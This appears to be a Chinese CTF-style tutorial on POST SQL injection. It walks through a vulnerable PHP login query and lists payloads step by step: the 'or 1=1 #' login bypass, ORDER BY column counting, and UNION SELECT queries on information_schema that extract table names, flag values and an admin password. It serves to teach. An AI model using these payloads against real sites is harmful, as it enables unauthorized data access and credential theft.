赞
踩
注入攻击的本质是把用户输入的数据当做代码执行,POST注入一般会在表单的地方。
1.有两个关键条件:
①用户能够控制输入
②原本程序要执行的代码拼接了用户输入的数据
2.POST注入高危点:
登录框
查询框
各种和数据库有交互的框
3.最经典的POST注入莫过于万能密码:
’or 1=1 #
万能密码就是引出注入手法,你在登录的时候输入什么都能登录
例如第一题
首先我们查看源码
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
$result = mysqli_query($conn,$sql);
我们会发现直接执行了sql的拼接语句,中间没有任何过滤,所以判断存在SQL注入,所以我们用’闭合$username前的内容,同时注释掉后面的内容,达到和数据库建立连接
'or 1=1 #
select * from user where username='' or 1=1 #
查询user表中username为空的值,或者1=1的值,1=1恒成立所以无论输入什么都会有数据显示
所以第一步我们先用万能密码’or 1=1 #发现存在POST注入
第二步用order by查字段数
1' or 1=1 order by 1 #
1' or 1=1 order by 2 #
1' or 1=1 order by 3 #
order by 4时结果显示错误,判断有三个字段
第三步判断回显点
'union select 1 #
'union select 1,2 #
'union select 1,2,3 #
得到回显点是2和3
第四步,我们用database()查询数据库名
'union select 1,2,database() #
得出库名post_error
第五步查表名
'union select 1,2,table_name from information_schema.tables where table_schema="post_error" limit 0,1#
得出表名flag,user
第六步我们查字段名
'union select 1,2,column_name from information_schema.columns where table_name='flag' limit 0,1#
...
'union select 1,2,column_name from information_schema.columns where table_name='user' limit 1,1#
'union select 1,2,column_name from information_schema.columns where table_name='user' limit 0,1#
flag表中字段:id,flag
user表中字段:id,username,password
第七步我们来查表中数据
将字段依次输入
'union select 1,2,flag from flag limit 0,1#
'union select 1,2,username from user limit 0,1#
查询结果分别为:id from flag-> 1,2,3
flag from flag-> zKaQ-PostK1,zKaQ-XZT,zKaQ-FlagA1
username from user->admin
password from user->as4dsa2dsad2a3
成功找到flage为zKaQ-PostK1
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。